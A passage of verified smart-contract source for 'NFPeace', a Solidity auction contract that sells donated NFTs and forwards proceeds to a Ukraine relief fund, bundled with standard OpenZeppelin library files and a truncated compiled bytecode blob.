// no bid has been placed (latestBid = 0) startingPrice, // minimum bid (can be customised per auction) uint32(block.timestamp + 24 hours), // auction ends 24 hours from now tokenERCStandard, // ERC721 or ERC1155 tokenAmount, // the number of tokens with that ID (for ERC1155) false // the auction is not settled ); emit AuctionInitialised(nextAuctionId); nextAuctionId++; } /// @dev Extends the end time of an auction if we are within the grace period. function _maybeExtendTime (uint64 auctionId, Auction storage auction) internal { uint64 gracePeriodStart = auction.endTimestamp - BIDDING_GRACE_PERIOD; uint64 _now = uint64(block.timestamp); if (_now > gracePeriodStart) { auction.endTimestamp = uint32(_now + BIDDING_GRACE_PERIOD); emit AuctionExtended(auctionId, auction.endTimestamp); } } /// @dev Whether an auction has an existing bid function _hasBid (Auction memory auction) internal pure returns (bool) { return auction.latestBid > 0; } /// @dev Calculates the minimum price for the next bid function _currentBidPrice (Auction memory auction) internal pure returns (uint128) { if (! _hasBid(auction)) { return auction.startingPrice; } uint128 percentageIncreasePrice = auction.latestBid * (100 + BID_PERCENTAGE_INCREASE) / 100; return percentageIncreasePrice - auction.latestBid < auction.startingPrice ? auction.latestBid + auction.startingPrice : percentageIncreasePrice; } /// @dev Transform a bytes string into a uint64. If no string provided, return 0 function toUint64(bytes memory _bytes) internal pure returns (uint64) { if (_bytes.length == 0) return 0; require(_bytes.length <= 8, "toUint64_outOfBounds"); uint64 tempUint; assembly { tempUint := mload(add(add(_bytes, 0x8), 0)) } return tempUint; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155 is IERC165 { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch( address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values ); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes calldata data ) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom( address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC1155/IERC1155Receiver.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev _Available since v3.1._ */ interface IERC1155Receiver is IERC165 { /** * @dev Handles the receipt of a single ERC1155 token type. This function is * called at the end of a `safeTransferFrom` after the balance has been updated. * * NOTE: To accept the transfer, this must return * `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` * (i.e. 0xf23a6e61, or its own function selector). * * @param operator The address which initiated the transfer (i.e. msg.sender) * @param from The address which previously owned the token * @param id The ID of the token being transferred * @param value The amount of tokens being transferred * @param data Additional data with no specified format * @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4); /** * @dev Handles the receipt of a multiple ERC1155 token types. This function * is called at the end of a `safeBatchTransferFrom` after the balances have * been updated. * * NOTE: To accept the transfer(s), this must return * `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` * (i.e. 0xbc197c81, or its own function selector). * * @param operator The address which initiated the batch transfer (i.e. msg.sender) * @param from The address which previously owned the token * @param ids An array containing ids of each token being transferred (order and length must match values array) * @param values An array containing amounts of each token being transferred (order and length must match ids array) * @param data Additional data with no specified format * @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.11; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol"; import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; import "@openzeppelin/contracts/utils/introspection/ERC165.sol"; contract NFPeace is ERC165, IERC721Receiver, IERC1155Receiver, ReentrancyGuard { /// @notice Unchain (https://unchain.fund) is a charity project created by blockchain activists. Its goal is to break the chain of war which the Russian Federation started against Ukraine. /// @dev The wallet address of the humanitarian relief fund unchain.fund address payable public constant CHARITY_ADDRESS = payable(0x10E1439455BD2624878b243819E31CfEE9eb721C); /// @notice Minimum auction duration after a bid in seconds (15 minutes). /// @dev Minimum auction runtime in seconds after new bids uint32 public constant BIDDING_GRACE_PERIOD = 15 minutes; /// @notice Each bid has to increase by at least 10% /// @dev The minimum percentage increase per bid uint32 public constant BID_PERCENTAGE_INCREASE = 10; /// @dev The minimum value of an auction uint64 public constant DEFAULT_STARTING_PRICE = 0.05 ether; /// @dev The next auction ID uint64 public nextAuctionId = 0; struct Auction { address tokenContract; uint256 tokenId; address latestBidder; uint128 latestBid; uint64 startingPrice; // max ~18.44 Ether uint32 endTimestamp; // latest date is Sun Feb 07 2106 06:28:15 GMT (in 84 years) uint16 tokenERCStandard; uint8 tokenAmount; bool settled; } /// @dev Each auction is identified by an ID mapping(uint256 => Auction) private _auctions; /// @dev Emitted when an NFT is sent to the contract. event AuctionInitialised(uint64 indexed auctionId); /// @dev Emitted when a new bid is entered. event Bid(uint64 indexed auctionId, uint256 indexed bid, address indexed from); /// @dev Emitted when a new bid is entered within the BIDDING_GRACE_PERIOD. event AuctionExtended(uint64 indexed auctionId, uint256 indexed endTimestamp); /// @dev Emitted when an auction is settled, the NFT is sent to the winner and the funds sent to the charity. event AuctionSettled(uint64 indexed auctionId); /// @dev Get an Auction by its ID function getAuction (uint64 auctionId) public view returns ( address tokenContract, uint256 tokenId, address latestBidder, uint128 latestBid, uint64 startingPrice, uint32 endTimestamp, uint16 tokenERCStandard, uint8 tokenAmount, bool settled ) { Auction memory auction = _auctions[auctionId]; return ( auction.tokenContract, auction.tokenId, auction.latestBidder, auction.latestBid, auction.startingPrice, auction.endTimestamp, auction.tokenERCStandard, auction.tokenAmount, auction.settled ); } /// @dev The minimum value of the next bid for an auction. function currentBidPrice (uint64 auctionId) external view returns (uint128) { return _currentBidPrice(_auctions[auctionId]); } /// @dev Enter a new bid /// @param auctionId The Auction ID to bid on function bid (uint64 auctionId) external payable nonReentrant { Auction storage auction = _auctions[auctionId]; uint256 bidValue = msg.value; address bidder = msg.sender; require(bidValue >= _currentBidPrice(auction), "Minimum bid value not met."); require(block.timestamp <= auction.endTimestamp, "Auction is not active."); // Pay back previous bidder if (_hasBid(auction)) { payable(auction.latestBidder).transfer(auction.latestBid); } _maybeExtendTime(auctionId, auction); // Store the bid auction.latestBid = uint128(bidValue); auction.latestBidder = bidder; emit Bid(auctionId, bidValue, bidder); } /// @dev Settles an auction /// @param auctionId The Auction ID to claim. function settle (uint64 auctionId) external { Auction storage auction = _auctions[auctionId]; require(!auction.settled, "Auction already settled."); require(auction.endTimestamp > 0, "Auction does not exist."); require(block.timestamp > auction.endTimestamp, "Auction not complete."); if (_hasBid(auction)) { (bool success,) = CHARITY_ADDRESS.call{ value: auction.latestBid }(""); require(success, "Failed to forward funds"); } if (auction.tokenERCStandard == 721) { IERC721(auction.tokenContract).safeTransferFrom(address(this), auction.latestBidder, auction.tokenId, ""); } else if (auction.tokenERCStandard == 1155) { IERC1155(auction.tokenContract).safeTransferFrom(address(this), auction.latestBidder, auction.tokenId, auction.tokenAmount, ""); } // End the auction auction.settled = true; emit AuctionSettled(auctionId); } /// @dev Hook for `saveTransferFrom` of ERC721 tokens to this contract /// @param from The address which previously owned the token /// @param tokenId The ID of the token being transferred /// @param data The custom starting price (set by a user) function onERC721Received( address, address from, uint256 tokenId, bytes calldata data ) public override returns (bytes4) { _initializeAuction(tokenId, 721, from, _getStartingPrice(data), 1); return IERC721Receiver.onERC721Received.selector; } /// @dev Hook for `saveTransferFrom` of ERC1155 tokens to this contract /// @param from The address which previously owned the token /// @param id The ID of the token being transferred /// @param value The amount of tokens being transferred /// @param data The custom starting price (set by a user) function onERC1155Received( address, address from, uint256 id, uint256 value, bytes calldata data ) public override returns (bytes4) { require(value < 256, "Too many tokens"); _initializeAuction(id, 1155, from, _getStartingPrice(data), uint8(value)); return IERC1155Receiver.onERC1155Received.selector; } /// @dev Hook for `safeBatchTransferFrom` of ERC1155 tokens to this contract /// @param operator The address which initiated the transfer /// @param from The address which previously owned the token /// @param ids An array containing ids of each token being transferred (order and length must match values array) /// @param values An array containing amounts of each token being transferred (order and length must match ids array) /// @param data The custom starting price (set by a user) function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external override returns (bytes4) { for (uint256 index = 0; index < ids.length; index++) { onERC1155Received(operator, from, ids[index], values[index], data); } return IERC1155Receiver.onERC1155BatchReceived.selector; } /// @dev Get the starting price based on default or user input. Warns users about out of range price. function _getStartingPrice (bytes calldata data) internal pure returns (uint64) { uint64 price = toUint64(data); return price > DEFAULT_STARTING_PRICE ? price : DEFAULT_STARTING_PRICE; } /// @dev Initializes an auction function _initializeAuction ( uint256 tokenId, uint16 tokenERCStandard, address tokenOwner, uint64 startingPrice, uint8 tokenAmount ) internal { _auctions[nextAuctionId] = Auction( msg.sender, // the NFT token contract tokenId, // the NFT token ID tokenOwner, // the token owner can claim for free if no one bids 0, // no bid has been placed (latestBid = 0) startingPrice, // minimum bid (can be customised per auction) uint32(block.timestamp + 24 hours), // auction ends 24 hours from now tokenERCStandard, // ERC721 or ERC1155 tokenAmount, // the number of tokens with that ID (for ERC1155) false // the auction is not settled ); emit AuctionInitialised(nextAuctionId); nextAuctionId++; } /// @dev Extends the end time of an auction if we are within the grace period. function _maybeExtendTime (uint64 auctionId, Auction storage auction) internal { uint64 gracePeriodStart = auction.endTimestamp - BIDDING_GRACE_PERIOD; uint64 _now = uint64(block.timestamp); if (_now > gracePeriodStart) { auction.endTimestamp = uint32(_now + BIDDING_GRACE_PERIOD); emit AuctionExtended(auctionId, auction.endTimestamp); } } /// @dev Whether an auction has an existing bid function _hasBid (Auction memory auction) internal pure returns (bool) { return auction.latestBid > 0; } /// @dev Calculates the minimum price for the next bid function _currentBidPrice (Auction memory auction) internal pure returns (uint128) { if (! _hasBid(auction)) { return auction.startingPrice; } uint128 percentageIncreasePrice = auction.latestBid * (100 + BID_PERCENTAGE_INCREASE) / 100; return percentageIncreasePrice - auction.latestBid < auction.startingPrice ? auction.latestBid + auction.startingPrice : percentageIncreasePrice; } /// @dev Transform a bytes string into a uint64. If no string provided, return 0 function toUint64(bytes memory _bytes) internal pure returns (uint64) { if (_bytes.length == 0) return 0; require(_bytes.length <= 8, "toUint64_outOfBounds"); uint64 tempUint; assembly { tempUint := mload(add(add(_bytes, 0x8), 0)) } return tempUint; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x60806040526004361061010e5760003560e01c8063759cdef2116100a5578063c9330fdc11610074578063f23a6e6111610059578063f23a6e6114610437578063f8b2cb4f14610457578063fc528482146104a857600080fd5b8063c9330fdc146103f9578063e75429e11461042157600080fd5b8063759cdef2146102fa578063bc12e3d71461031b578063bc197c81146103c6578063c261d456146103e657600080fd5b80633ccfd60b116100e15780633ccfd60b146102585780634b9ba4461461026f5780635e2b502b1461028f57806374c02598146102d057600080fd5b806301ffc9a714610113578063150b7a021461018a57806319351c8d146101db5780632702bdd21461020f575b600080fd5b34801561011f57600080fd5b5061017561012e366004611c9c565b7fffffffff00000000000000000000000000000000000000000000000000000000167f01ffc9a7000000000000000000000000000000000000000000000000000000001490565b60405190151581526020015b60405180910390f35b34801561019657600080fd5b506101aa6101a5366004611d49565b6104d5565b6040517fffffffff000000000000000000000000000000000000000000000000000000009091168152602001610181565b3480156101e757600080fd5b506101f666b1a2bc2ec5000081565b60405167ffffffffffffffff9091168152602001610181565b34801561021b57600080fd5b506102336f11e48d382b4f627437a2bbac3b10f90e81565b60405173ffffffffffffffffffffffffffffffffffffffff9091168152602001610181565b34801561026457600080fd5b5061026d61051b565b005b34801561027b57600080fd5b5061026d61028a366004611dd2565b6105db565b34801561029b57600080fd5b506102af6102aa366004611dd2565b610c3b565b6040516fffffffffffffffffffffffffffffffff9091168152602001610181565b3480156102dc57600080fd5b506102e5600a81565b60405163ffffffff9091168152602001610181565b34801561030657600080fd5b506001546101f69067ffffffffffffffff1681565b34801561032757600080fd5b5061033b610336366004611dd2565b610d86565b6040805173ffffffffffffffffffffffffffffffffffffffff9a8b168152602081019990995298909616978701979097526fffffffffffffffffffffffffffffffff909316606086015267ffffffffffffffff909116608085015263ffffffff1660a084015261ffff1660c083015260ff90921660e082015290151561010082015261012001610181565b3480156103d257600080fd5b506101aa6103e1366004611e34565b610fdd565b61026d6103f4366004611dd2565b611069565b34801561040557600080fd5b506102337310e1439455bd2624878b243819e31cfee9eb721c81565b34801561042d57600080fd5b506102e561038481565b34801561044357600080fd5b506101aa610452366004611ef3565b6115f5565b34801561046357600080fd5b5061049a610472366004611f6f565b73ffffffffffffffffffffffffffffffffffffffff1660009081526003602052604090205490565b604051908152602001610181565b3480156104b457600080fd5b506001546101f69068010000000000000000900467ffffffffffffffff1681565b60006104f0846102d1876104e987876116a6565b6001611719565b507f150b7a020000000000000000000000000000000000000000000000000000000095945050505050565b3360009081526003602052604090205480610597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f4e6f2062616c616e636520746f2077697468647261772e00000000000000000060448201526064015b60405180910390fd5b336000818152600360205260408082208290555183156108fc0291849190818181858888f193505050506105d8573360009081526003602052604090208190555b50565b67ffffffffffffffff8116600090815260026020526040902060038101547f0100000000000000000000000000000000000000000000000000000000000000900460ff1615610686576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f41756374696f6e20616c726561647920736574746c65642e0000000000000000604482015260640161058e565b60038101547801000000000000000000000000000000000000000000000000900463ffffffff16610713576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f41756374696f6e20646f6573206e6f742065786973742e000000000000000000604482015260640161058e565b60038101547801000000000000000000000000000000000000000000000000900463ffffffff1642116107a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f41756374696f6e206e6f7420636f6d706c6574652e0000000000000000000000604482015260640161058e565b6040805161012081018252825473ffffffffffffffffffffffffffffffffffffffff9081168252600184015460208301526002840154169181019190915260038201546fffffffffffffffffffffffffffffffff8116606083015267ffffffffffffffff700100000000000000000000000000000000820416608083015263ffffffff780100000000000000000000000000000000000000000000000082041660a083015261ffff7c010000000000000000000000000000000000000000000000000000000082041660c083015260ff7e010000000000000000000000000000000000000000000000000000000000008204811660e08401527f01000000000000000000000000000000000000000000000000000000000000009091041615156101008201526108e790606001516fffffffffffffffffffffffffffffffff16151590565b156109cc5760038101546040516000917310e1439455bd2624878b243819e31cfee9eb721c916fffffffffffffffffffffffffffffffff909116908381818185875af1925050503d806000811461095a576040519150601f19603f3d011682016040523d82523d6000602084013e61095f565b606091505b50509050806109ca576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f4661696c656420746f20666f72776172642066756e6473000000000000000000604482015260640161058e565b505b60038101547c0100000000000000000000000000000000000000000000000000000000900461ffff166102d11415610aac578054600282015460018301546040517fb88d4fde00000000000000000000000000000000000000000000000000000000815230600482015273ffffffffffffffffffffffffffffffffffffffff92831660248201526044810191909152608060648201526000608482015291169063b88d4fde9060a401600060405180830381600087803b158015610a8f57600080fd5b505af1158015610aa3573d6000803e3d6000fd5b50505050610bb7565b60038101547c0100000000000000000000000000000000000000000000000000000000900461ffff166104831415610bb75780546002820154600183015460038401546040517ff242432a00000000000000000000000000000000000000000000000000000000815230600482015273ffffffffffffffffffffffffffffffffffffffff938416602482015260448101929092527e01000000000000000000000000000000000000000000000000000000000000900460ff16606482015260a06084820152600060a482015291169063f242432a9060c401600060405180830381600087803b158015610b9e57600080fd5b505af1158015610bb2573d6000803e3d6000fd5b505050505b6003810180547effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f010000000000000000000000000000000000000000000000000000000000000017905560405167ffffffffffffffff8316907f8211e7212435732ce78d8eed551c3036475dbb18f7c3b8ff5bdd47a0a22966dc90600090a25050565b67ffffffffffffffff8082166000908152600260208181526040808420815161012081018352815473ffffffffffffffffffffffffffffffffffffffff90811682526001830154948201949094529381015490921690830152600301546fffffffffffffffffffffffffffffffff811660608301527001000000000000000000000000000000008104909316608082015263ffffffff780100000000000000000000000000000000000000000000000084041660a082015261ffff7c010000000000000000000000000000000000000000000000000000000084041660c082015260ff7e010000000000000000000000000000000000000000000000000000000000008404811660e08301527f0100000000000000000000000000000000000000000000000000000000000000909304909216151561010083015290610d8090611a58565b92915050565b6000806000806000806000806000600160009054906101000a900467ffffffffffffffff1667ffffffffffffffff168a67ffffffffffffffff161015610e70576040517fbc12e3d700000000000000000000000000000000000000000000000000000000815267ffffffffffffffff8b1660048201526f11e48d382b4f627437a2bbac3b10f90e9063bc12e3d79060240161012060405180830381865afa158015610e35573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e599190611fc4565b985098509850985098509850985098509850610fd0565b50505067ffffffffffffffff808816600090815260026020818152604092839020835161012081018552815473ffffffffffffffffffffffffffffffffffffffff908116808352600184015494830185905294830154169481018590526003909101546fffffffffffffffffffffffffffffffff81166060830181905270010000000000000000000000000000000082049096166080830181905263ffffffff780100000000000000000000000000000000000000000000000083041660a0840181905261ffff7c010000000000000000000000000000000000000000000000000000000084041660c0850181905260ff7e010000000000000000000000000000000000000000000000000000000000008504811660e087018190527f0100000000000000000000000000000000000000000000000000000000000000909504161515610100909501859052959d50939b50949950949750929550935091905b9193959799909294969850565b6000805b8681101561103a576110278a8a8a8a8581811061100057611000612091565b9050602002013589898681811061101957611019612091565b9050602002013588886115f5565b5080611032816120ef565b915050610fe1565b507fbc197c81000000000000000000000000000000000000000000000000000000009998505050505050505050565b600260005414156110d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015260640161058e565b6002600081815567ffffffffffffffff80841682526020838152604092839020835161012081018552815473ffffffffffffffffffffffffffffffffffffffff9081168252600183015493820193909352948101549091169284019290925260038201546fffffffffffffffffffffffffffffffff811660608501527001000000000000000000000000000000008104909116608084015263ffffffff780100000000000000000000000000000000000000000000000082041660a084015261ffff7c010000000000000000000000000000000000000000000000000000000082041660c084015260ff7e010000000000000000000000000000000000000000000000000000000000008204811660e08501527f0100000000000000000000000000000000000000000000000000000000000000909104161515610100830152903490339061122490611a58565b6fffffffffffffffffffffffffffffffff1682101561129f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f4d696e696d756d206269642076616c7565206e6f74206d65742e000000000000604482015260640161058e565b60038301547801000000000000000000000000000000000000000000000000900463ffffffff1642111561132f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f41756374696f6e206973206e6f74206163746976652e00000000000000000000604482015260640161058e565b6040805161012081018252845473ffffffffffffffffffffffffffffffffffffffff9081168252600186015460208301526002860154169181019190915260038401546fffffffffffffffffffffffffffffffff8116606083015267ffffffffffffffff700100000000000000000000000000000000820416608083015263ffffffff780100000000000000000000000000000000000000000000000082041660a083015261ffff7c010000000000000000000000000000000000000000000000000000000082041660c083015260ff7e010000000000000000000000000000000000000000000000000000000000008204811660e08401527f010000000000000000000000000000000000000000000000000000000000000090910416151561010082015261147490606001516fffffffffffffffffffffffffffffffff16151590565b15611526576002830154600384015460405173ffffffffffffffffffffffffffffffffffffffff909216916fffffffffffffffffffffffffffffffff90911680156108fc02916000818181858888f1935050505061152657600380840154600285015473ffffffffffffffffffffffffffffffffffffffff1660009081526020929092526040822080546fffffffffffffffffffffffffffffffff909216929091611520908490612128565b90915550505b6115308484611b20565b6003830180547fffffffffffffffffffffffffffffffff00000000000000000000000000000000166fffffffffffffffffffffffffffffffff84161790556002830180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff8316908117909155604051839067ffffffffffffffff8716907f6016e6b08f3206c629768e91bab941b1bf67a18fe2ae927ad0c7c8cbcb7c56bb90600090a4505060016000555050565b60006101008410611662576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600f60248201527f546f6f206d616e7920746f6b656e730000000000000000000000000000000000604482015260640161058e565b61167a856104838861167487876116a6565b88611719565b507ff23a6e61000000000000000000000000000000000000000000000000000000009695505050505050565b6000806116e884848080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250611c1492505050565b905066b1a2bc2ec5000067ffffffffffffffff82161161170f5766b1a2bc2ec50000611711565b805b949350505050565b60408051610120810182523381526020810187905273ffffffffffffffffffffffffffffffffffffffff8516918101919091526000606082015267ffffffffffffffff8316608082015260a081016117744262015180612128565